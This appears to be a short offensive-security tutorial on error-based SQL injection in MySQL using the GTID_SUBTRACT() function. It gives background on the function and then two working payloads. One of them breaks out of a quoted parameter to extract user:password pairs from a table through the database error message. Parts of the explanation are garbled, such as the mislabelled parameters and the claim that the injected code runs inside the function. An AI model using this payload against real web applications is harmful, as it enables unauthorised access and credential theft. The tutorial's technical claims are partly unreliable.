Table of contents
GTID_SUBTRACT() error injection
(***Note: Pay attention to the version requirements)
GTID_SUBTRACT () error injection
1. Grammar introduction:
Version:
MySQL >=5.6
The GTID_SUBTRACT() function is a function in MySQL that calculates the difference between two global transaction identifiers (GTIDs). GTID is a global transaction identifier introduced in MySQL 5.6, which is used to track transactions in the database
grammar:
GTID_SUBTRACT(gtid_set, gtid)Among them, gtid_set is a GTID set, and gtid is a single GTID. This function returns a new GTID set representing the remainder after subtracting gtid from gtid_set
principle:
- First, split the gtid_set into individual GTIDs.
- Then, iterate through each GTID, checking if it's the same as the gtid. If the same, it is removed from the gtid_set.
- Finally, reassemble the remaining GTIDs into a new GTID set and return
scenes to be used:
- Database replication: When a transaction is executed on the master database, a GTID is generated and passed to the slave database. The slave database can use the GTID_SUBTRACT() function to calculate the difference between the master and slave databases to determine which data needs to be replicated.
- Database Migration: When you need to migrate data from one database to another, you can use the GTID_SUBTRACT() function to calculate the difference between the two databases and copy only the data in the difference
2. The reason for the error
cause:
1. GTID (Global Transaction ID) is a unique identifier used to identify global transactions in MySQL
2. The GTID_SUBTRACT() function can be used to calculate the difference between two GTID sets to determine which transactions exist in one GTID set but do not exist in another GTID set
3. Inject malicious SQL code into gtid_set1 or gtid_set2 parameters. In this way, when the GTID_SUBTRACT() function is executed, the malicious code will be executed
payload：
select GTID_SUBTRACT(user(),1)
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from 表名),0x7e),1)--+
//GROUP_CONCAT()函数将它们组合成一个字符串
//concat()函数用于连接字符串
//0x7e表示波浪符（~）
Graphic:
root@localhost
network security coterie
https://gitee. com/shubansheng/Treasure_knowledge/blob/master/README.mdGitHub - BLACKxZONE/Treasure_knowledge
https://github.com/BLACKxZONE/Treasure_knowledge